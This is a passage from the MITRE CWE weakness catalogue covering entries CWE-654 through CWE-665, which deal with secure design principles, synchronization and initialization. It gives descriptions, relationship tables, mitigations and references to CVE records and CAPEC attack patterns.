
**Separation of Privilege :** Some people and publications use the term "Separation of Privilege" to describe this weakness, but this term has dual meanings in current usage. While this entry is closely associated with the original definition of "Separation of Privilege" by Saltzer and Schroeder, others use the same term to describe poor compartmentalization (CWE-653). Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>If the single factor is compromised (e.g. by theft or spoofing), then the integrity of the entire security mechanism can be violated with respect to the user that is identified by that factor.</i>	
Non-Repudiation	Hide Activities  <i>It can become difficult or impossible for the product to be able to distinguish between legitimate activities by the entity who provided the factor, versus illegitimate activities by an attacker.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Use multiple simultaneous checks before granting access to critical operations or granting critical privileges. A weaker but helpful mitigation is to use several successive checks (multiple layers of security).

#### Phase: Architecture and Design

Use redundant access rules on different choke points (e.g., firewalls).

### Demonstrative Examples

#### Example 1:

Password-only authentication is perhaps the most well-known example of use of a single factor. Anybody who knows a user's password can impersonate that user.

#### Example 2:

When authenticating, use multiple factors, such as "something you know" (such as a password) and "something you have" (such as a hardware-based one-time password generator, or a biometric device).

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	2199

## Notes

### Maintenance

This entry is closely associated with the term "Separation of Privilege." This term is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (CWE-653) and using only one factor in a security decision (this entry). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization, such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
16	Dictionary-based Password Attack
49	Password Brute Forcing
55	Rainbow Table Password Cracking
70	Try Common or Default Usernames and Passwords
274	HTTP Verb Tampering
560	Use of Known Domain Credentials
565	Password Spraying
600	Credential Stuffing
652	Use of Known Kerberos Credentials
653	Use of Known Operating System Credentials

## References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < <http://web.mit.edu/Saltzer/www/publications/protection/> >.

[REF-535]Sean Barnum and Michael Gegick. "Separation of Privilege". 2005 December 6. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/separation-of-privilege> >.

## CWE-655: Insufficient Psychological Acceptability

**Weakness ID :** 655

**Structure :** Simple

**Abstraction :** Base

### Description

The product has a protection mechanism that is too difficult or inconvenient to use, encouraging non-malicious users to disable or bypass the mechanism, whether by accident or on purpose.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422
ChildOf	⊕	657	Violation of Secure Design Principles	1361

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
	<i>By bypassing the security mechanism, a user might leave the system in a less secure state than intended by the administrator, making it more susceptible to compromise.</i>	

### Potential Mitigations

#### Phase: Testing

Where possible, perform human factors and usability studies to identify where your product's security mechanisms are difficult to use, and why.

#### Phase: Architecture and Design

Make the security mechanism as seamless as possible, while also providing the user with sufficient details when a security decision produces unexpected results.

### Demonstrative Examples

#### Example 1:

In "Usability of Security: A Case Study" [REF-540], the authors consider human factors in a cryptography product. Some of the weakness relevant discoveries of this case study were: users accidentally leaked sensitive information, could not figure out how to perform some tasks, thought they were enabling a security option when they were not, and made improper trust decisions.

#### Example 2:

Enforcing complex and difficult-to-remember passwords that need to be frequently changed for access to trivial resources, e.g., to use a black-and-white printer. Complex password requirements can also cause users to store the passwords in an unsafe manner so they don't have to remember them, such as using a sticky note or saving them in an unencrypted file.

#### Example 3:

Some CAPTCHA utilities produce images that are too difficult for a human to read, causing user frustration.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	⊕	995	SFP Secondary Cluster: Feature	888	2211
MemberOf	⊕	1379	ICS Operations (& Maintenance): Human factors in ICS environments	1358	2305

### Notes

**Other**

This weakness covers many security measures causing user inconvenience, requiring effort or causing frustration, that are disproportionate to the risks or value of the protected assets, or that are perceived to be ineffective.

### Maintenance

The Taxonomy\_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
ISA/IEC 62443	Part 2-1		Req 4.3.3.6
ISA/IEC 62443	Part 4-1		Req SD-4

### References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < <http://web.mit.edu/Saltzer/www/publications/protection/> >.

[REF-539]Sean Barnum and Michael Gegick. "Psychological Acceptability". 2005 September 5. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/psychological-acceptability> >.

[REF-540]J. D. Tygar and Alma Whitten. "Usability of Security: A Case Study". SCS Technical Report Collection, CMU-CS-98-155. 1998 December 5. < <http://reports-archive.adm.cs.cmu.edu/anon/1998/CMU-CS-98-155.pdf> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-656: Reliance on Security Through Obscurity

**Weakness ID** : 656

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a protection mechanism whose strength depends heavily on its obscurity, such that knowledge of its algorithms or key data is sufficient to defeat the mechanism.

### Extended Description

This reliance on "security through obscurity" can produce resultant weaknesses if an attacker is able to reverse engineer the inner workings of the mechanism. Note that obscurity can be one small part of defense in depth, since it can create more work for an attacker; however, it is a significant risk if used as the primary means of protection.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422

Nature	Type	ID	Name	Page
ChildOf		657	Violation of Secure Design Principles	1361
PeerOf		603	Use of Client-Side Authentication	1275
CanPrecede		259	Use of Hard-coded Password	591
CanPrecede		321	Use of Hard-coded Cryptographic Key	745
CanPrecede		472	External Control of Assumed-Immutable Web Parameter	1062

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Alternate Terms

**Never Assuming your secrets are safe :**

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Other	
Integrity	<i>The security mechanism can be bypassed easily.</i>	
Availability		
Other		

## Potential Mitigations

### Phase: Architecture and Design

Always consider whether knowledge of your code or design is sufficient to break it. Reverse engineering is a highly successful discipline, and financially feasible for motivated adversaries. Black-box techniques are established for binary analysis of executables that use obfuscation, runtime analysis of proprietary protocols, inferring file formats, and others.

### Phase: Architecture and Design

When available, use publicly-vetted algorithms and procedures, as these are more likely to undergo more extensive security analysis and testing. This is especially the case with encryption and authentication.

## Demonstrative Examples

### Example 1:

The design of TCP relies on the secrecy of Initial Sequence Numbers (ISNs), as originally covered in CVE-1999-0077 [REF-542]. If ISNs can be guessed (due to predictability, CWE-330) or sniffed (due to lack of encryption during transmission, CWE-312), then an attacker can hijack or spoof connections. Many TCP implementations have had variations of this problem over the years, including CVE-2004-0641, CVE-2002-1463, CVE-2001-0751, CVE-2001-0328, CVE-2001-0288, CVE-2001-0163, CVE-2001-0162, CVE-2000-0916, and CVE-2000-0328.

## Observed Examples

Reference	Description
<b>CVE-2006-6588</b>	Reliance on hidden form fields in a web application. Many web application vulnerabilities exist because the developer did not consider that "hidden" form fields can be processed using a modified client. <a href="https://www.cve.org/CVERecord?id=CVE-2006-6588">https://www.cve.org/CVERecord?id=CVE-2006-6588</a>
<b>CVE-2006-7142</b>	Hard-coded cryptographic key stored in executable program.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2006-7142">https://www.cve.org/CVERecord?id=CVE-2006-7142</a>
<b>CVE-2005-4002</b>	Hard-coded cryptographic key stored in executable program. <a href="https://www.cve.org/CVERecord?id=CVE-2005-4002">https://www.cve.org/CVERecord?id=CVE-2005-4002</a>
<b>CVE-2006-4068</b>	Hard-coded hashed values for username and password contained in client-side script, allowing brute-force offline attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4068">https://www.cve.org/CVERecord?id=CVE-2006-4068</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	2199
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

### Notes

#### Relationship

Note that there is a close relationship between this weakness and CWE-603 (Use of Client-Side Authentication). If developers do not believe that a user can reverse engineer a client, then they are more likely to choose client-side authentication in the belief that it is safe.

### References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < <http://web.mit.edu/Saltzer/www/publications/protection/> >.

[REF-544]Sean Barnum and Michael Gegick. "Never Assuming that Your Secrets Are Safe". 2005 September 4. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/never-assuming-that-your-secrets-are-safe> >.

[REF-542]Jon Postel, Editor. "RFC: 793, TRANSMISSION CONTROL PROTOCOL". 1981 September. Information Sciences Institute. < <http://www.ietf.org/rfc/rfc0793.txt> >.

## CWE-657: Violation of Secure Design Principles

**Weakness ID** : 657

**Structure** : Simple

**Abstraction** : Class

### Description

The product violates well-established principles for secure design.

### Extended Description

This can introduce resultant weaknesses or make it easier for developers to introduce related weaknesses during implementation. Because code is centered around design, it can be resource-intensive to fix design problems.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*



Nature	Type	ID	Name	Page
ChildOf	I P	710	Improper Adherence to Coding Standards	1444
ParentOf	B	250	Execution with Unnecessary Privileges	568
ParentOf	C	636	Not Failing Securely ('Failing Open')	1318
ParentOf	C	637	Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')	1320
ParentOf	C	638	Not Using Complete Mediation	1322
ParentOf	B	653	Improper Isolation or Compartmentalization	1353
ParentOf	B	654	Reliance on a Single Factor in a Security Decision	1355
ParentOf	B	655	Insufficient Psychological Acceptability	1357
ParentOf	B	656	Reliance on Security Through Obscurity	1359
ParentOf	C	671	Lack of Administrator Control over Security	1385
ParentOf	B	1192	System-on-Chip (SoC) Using Components without Unique, Immutable Identifiers	1835
ParentOf	C	1395	Dependency on Vulnerable Third-Party Component	2096

### Common Consequences

Scope	Impact	Likelihood
Other	Other	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	2199
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

### Notes

#### Maintenance

The Taxonomy\_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
ISA/IEC 62443	Part 4-1		Req SD-3
ISA/IEC 62443	Part 4-1		Req SD-4
ISA/IEC 62443	Part 4-1		Req SI-1

### References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < <http://web.mit.edu/Saltzer/www/publications/protection/> >.

[REF-546]Sean Barnum and Michael Gegick. "Design Principles". 2005 September 9. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/design-principles> >.



## CWE-662: Improper Synchronization

**Weakness ID** : 662  
**Structure** : Simple  
**Abstraction** : Class

### Description

The product utilizes multiple threads or processes to allow temporary access to a shared resource that can only be exclusive to one process at a time, but it does not properly synchronize these actions, which might cause simultaneous accesses of this resource by multiple threads or processes.

### Extended Description

Synchronization refers to a variety of behaviors and mechanisms that allow two or more independently-operating processes or threads to ensure that they operate on shared resources in predictable ways that do not interfere with each other. Some shared resource operations cannot be executed atomically; that is, multiple steps must be guaranteed to execute sequentially, without any interference by other processes. Synchronization mechanisms vary widely, but they may include locking, mutexes, and semaphores. When a multi-step operation on a shared resource cannot be guaranteed to execute independent of interference, then the resulting behavior can be unpredictable. Improper synchronization could lead to data or memory corruption, denial of service, etc.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1420
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367
ParentOf	B	663	Use of a Non-reentrant Function in a Concurrent Context	1365
ParentOf	C	667	Improper Locking	1375
ParentOf	B	820	Missing Synchronization	1601
ParentOf	B	821	Incorrect Synchronization	1603
ParentOf	B	1058	Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element	1758
CanPrecede	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	841

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	C	667	Improper Locking	1375

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ParentOf	B	366	Race Condition within a Thread	856
ParentOf	V	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context	1183
ParentOf	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	1213
ParentOf	C	667	Improper Locking	1375

Nature	Type	ID	Name	Page
ParentOf	<b>B</b>	764	Multiple Locks of a Critical Resource	1493
ParentOf	<b>B</b>	820	Missing Synchronization	1601
ParentOf	<b>B</b>	821	Incorrect Synchronization	1603
ParentOf	<b>B</b>	833	Deadlock	1632
ParentOf	<b>B</b>	1058	Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element	1758
ParentOf	<b>V</b>	1096	Singleton Class Instance Creation without Proper Locking or Synchronization	1796

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ParentOf	<b>B</b>	366	Race Condition within a Thread	856
ParentOf	<b>V</b>	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context	1183
ParentOf	<b>B</b>	567	Unsynchronized Access to Shared Data in a Multithreaded Context	1213
ParentOf	<b>C</b>	667	Improper Locking	1375
ParentOf	<b>B</b>	764	Multiple Locks of a Critical Resource	1493
ParentOf	<b>B</b>	820	Missing Synchronization	1601
ParentOf	<b>B</b>	821	Incorrect Synchronization	1603
ParentOf	<b>B</b>	1058	Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element	1758
ParentOf	<b>V</b>	1096	Singleton Class Instance Creation without Proper Locking or Synchronization	1796

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Read Application Data	
Other	Alter Execution Logic	

### Potential Mitigations

#### Phase: Implementation

Use industry standard APIs to synchronize your code.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<b>V</b>	Page
MemberOf	<b>C</b>	745	CERT C Secure Coding Standard (2008) Chapter 12 - Signals (SIG)	734	2142
MemberOf	<b>C</b>	852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)	844	2159
MemberOf	<b>C</b>	879	CERT C++ Secure Coding Section 11 - Signals (SIG)	868	2172
MemberOf	<b>C</b>	986	SFP Secondary Cluster: Missing Lock	888	2205
MemberOf	<b>V</b>	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	<b>C</b>	1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)	1133	2241

Nature	Type	ID	Name	V	Page
MemberOf	C	1166	SEI CERT C Coding Standard - Guidelines 11. Signals (SIG)	1154	2254
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2276
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350

## Notes

### Maintenance

Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	SIG00-C		Mask signals handled by noninterruptible signal handlers
CERT C Secure Coding	SIG31-C	CWE More Abstract	Do not access shared objects in signal handlers
CLASP			State synchronization error
The CERT Oracle Secure Coding Standard for Java (2011)	VNA03-J		Do not assume that a group of calls to independently atomic methods is atomic
Software Fault Patterns	SFP19		Missing Lock

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
25	Forced Deadlock
26	Leveraging Race Conditions
27	Leveraging Race Conditions via Symbolic Links
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

## CWE-663: Use of a Non-reentrant Function in a Concurrent Context

**Weakness ID** : 663

**Structure** : Simple

**Abstraction** : Base

### Description

The product calls a non-reentrant function in a concurrent context in which a competing code sequence (e.g. thread or signal handler) may have an opportunity to call the same function or otherwise influence its state.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1363

Nature	Type	ID	Name	Page
ParentOf	V	479	Signal Handler Use of a Non-reentrant Function	1084
ParentOf	V	558	Use of getlogin() in Multithreaded Application	1199
PeerOf	E	1265	Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls	1926

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	2122

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Confidentiality	Read Memory	
Other	Modify Application Data	
	Read Application Data	
	Alter Execution Logic	

### Potential Mitigations

#### Phase: Implementation

Use reentrant functions if available.

#### Phase: Implementation

Add synchronization to your non-reentrant function.

#### Phase: Implementation

In Java, use the ReentrantLock Class.

### Observed Examples

Reference	Description
<b>CVE-2001-1349</b>	unsafe calls to library functions from signal handler <a href="https://www.cve.org/CVERecord?id=CVE-2001-1349">https://www.cve.org/CVERecord?id=CVE-2001-1349</a>
<b>CVE-2004-2259</b>	SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2259">https://www.cve.org/CVERecord?id=CVE-2004-2259</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	2205

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

### References

[REF-547]SUN. "Java Concurrency API". < <http://java.sun.com/j2se/1.5.0/docs/api/java/util/concurrent/locks/ReentrantLock.html> >.

[REF-548]Dipak Jha, Software Engineer, IBM. "Use reentrant functions for safer signal handling". < <http://www.ibm.com/developerworks/linux/library/l-reent.html> >.

## CWE-664: Improper Control of a Resource Through its Lifetime

**Weakness ID** : 664

**Structure** : Simple

**Abstraction** : Pillar

### Description

The product does not maintain or incorrectly maintains control over a resource throughout its lifetime of creation, use, and release.

### Extended Description

Resources often have explicit instructions on how to be created, used and destroyed. When code does not follow these instructions, it can lead to unexpected behaviors and potentially exploitable states.

Even without explicit instructions, various principles are expected to be adhered to, such as "Do not use an object until after its creation is complete," or "do not use an object after it has been slated for destruction."

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2335
ParentOf	C	118	Incorrect Access of Indexable Resource ('Range Error')	282
ParentOf	C	221	Information Loss or Omission	531
ParentOf	B	372	Incomplete Internal State Distinction	870
ParentOf	C	400	Uncontrolled Resource Consumption	912
ParentOf	C	404	Improper Resource Shutdown or Release	927
ParentOf	C	405	Asymmetric Resource Consumption (Amplification)	933
ParentOf	B	410	Insufficient Resource Pool	945
ParentOf	B	471	Modification of Assumed-Immutable Data (MAID)	1060
ParentOf	B	487	Reliance on Package-level Scope	1102
ParentOf	V	495	Private Data Structure Returned From A Public Method	1123
ParentOf	V	496	Public Data Assigned to Private Array-Typed Field	1125
ParentOf	B	501	Trust Boundary Violation	1135
ParentOf	V	580	clone() Method Without super.clone()	1234
ParentOf	C	610	Externally Controlled Reference to a Resource in Another Sphere	1285
ParentOf	C	662	Improper Synchronization	1363
ParentOf	C	665	Improper Initialization	1368
ParentOf	C	666	Operation on Resource in Wrong Phase of Lifetime	1374
ParentOf	C	668	Exposure of Resource to Wrong Sphere	1380
ParentOf	C	669	Incorrect Resource Transfer Between Spheres	1383
ParentOf	C	673	External Influence of Sphere Definition	1390
ParentOf	C	704	Incorrect Type Conversion or Cast	1435
ParentOf	C	706	Use of Incorrectly-Resolved Name or Reference	1439
ParentOf	B	911	Improper Update of Reference Count	1678
ParentOf	C	913	Improper Control of Dynamically-Managed Code Resources	1681

Nature	Type	ID	Name	Page
ParentOf		922	Insecure Storage of Sensitive Information	1698
ParentOf		1229	Creation of Emergent Resource	1854
ParentOf		1250	Improper Preservation of Consistency Between Independent Representations of Shared State	1893
ParentOf		1329	Reliance on Component That is Not Updateable	2043

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Other	

### Potential Mitigations

#### Phase: Testing

Use Static analysis tools to check for unreleased resources.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		984	SFP Secondary Cluster: Life Cycle	888	2204
MemberOf		1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2252

### Notes

#### Maintenance

More work is needed on this entry and its children. There are perspective/layering issues; for example, one breakdown is based on lifecycle phase (CWE-404, CWE-665), while other children are independent of lifecycle, such as CWE-400. Others do not specify as many bases or variants, such as CWE-704, which primarily covers numbers at this stage.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO39-C	CWE More Abstract	Do not alternately input and output from a stream without an intervening flush or positioning call

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Identifiers
60	Reusing Session IDs (aka Session Replay)
61	Session Fixation
62	Cross Site Request Forgery
196	Session Credential Falsification through Forging

## CWE-665: Improper Initialization

Weakness ID : 665

**Structure** : Simple  
**Abstraction** : Class

### Description

The product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.

### Extended Description

This can have security implications when the associated resource is expected to have certain properties or values, such as a variable that determines whether a user has been authenticated or not.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367
ParentOf	B	454	External Initialization of Trusted Variables or Data Stores	1025
ParentOf	B	455	Non-exit on Failed Initialization	1028
ParentOf	B	770	Allocation of Resources Without Limits or Throttling	1502
ParentOf	B	908	Use of Uninitialized Resource	1669
ParentOf	B	909	Missing Initialization of Resource	1673
ParentOf	B	1051	Initialization with Hard-Coded Network Resource Configuration Data	1751
ParentOf	B	1052	Excessive Use of Hard-Coded Literals in Initialization	1752
ParentOf	B	1188	Insecure Default Initialization of Resource	1828
ParentOf	B	1221	Incorrect Register Defaults or Module Parameters	1845
ParentOf	B	1279	Cryptographic Operations are run Before Supporting Units are Ready	1956

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	B	908	Use of Uninitialized Resource	1669
ParentOf	B	909	Missing Initialization of Resource	1673
ParentOf	B	1188	Insecure Default Initialization of Resource	1828

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ParentOf	V	456	Missing Initialization of a Variable	1029
ParentOf	V	457	Use of Uninitialized Variable	1034

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ParentOf	V	456	Missing Initialization of a Variable	1029
ParentOf	V	457	Use of Uninitialized Variable	1034

### Weakness Ordinalities

**Primary** :

**Resultant** :



## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data  <i>When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.</i>	
Access Control	Bypass Protection Mechanism  <i>If security-critical decisions rely on a variable having a "0" or equivalent value, and the programming language performs this initialization on behalf of the programmer, then a bypass of security may occur.</i>	
Availability	DoS: Crash, Exit, or Restart  <i>The uninitialized data may contain values that cause program flow to change in ways that the programmer did not intend. For example, if an uninitialized variable is used as an array index in C, then its previous contents may produce an index that is outside the range of the array, possibly causing a crash or an exit in other environments.</i>	

## Detection Methods

### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Initialization problems may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

*Effectiveness = Moderate*

### Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

## Potential Mitigations

### Phase: Requirements

*Strategy = Language Selection*

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, in Java, if the programmer does not explicitly initialize a variable, then the code could produce a compile-time error (if the variable is local) or

automatically initialize the variable to the default value for the variable's type. In Perl, if explicit initialization is not performed, then a default value of undef is assigned, which is interpreted as 0, false, or an equivalent value depending on the context in which the variable is accessed.

**Phase: Architecture and Design**

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

**Phase: Implementation**

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

**Phase: Implementation**

Pay close attention to complex conditionals that affect initialization, since some conditions might not perform the initialization.

**Phase: Implementation**

Avoid race conditions (CWE-362) during initialization routines.

**Phase: Build and Compilation**

Run or compile your product with settings that generate warnings about uninitialized variables or data.

**Phase: Testing**

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

**Demonstrative Examples****Example 1:**

Here, a boolean initialized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.
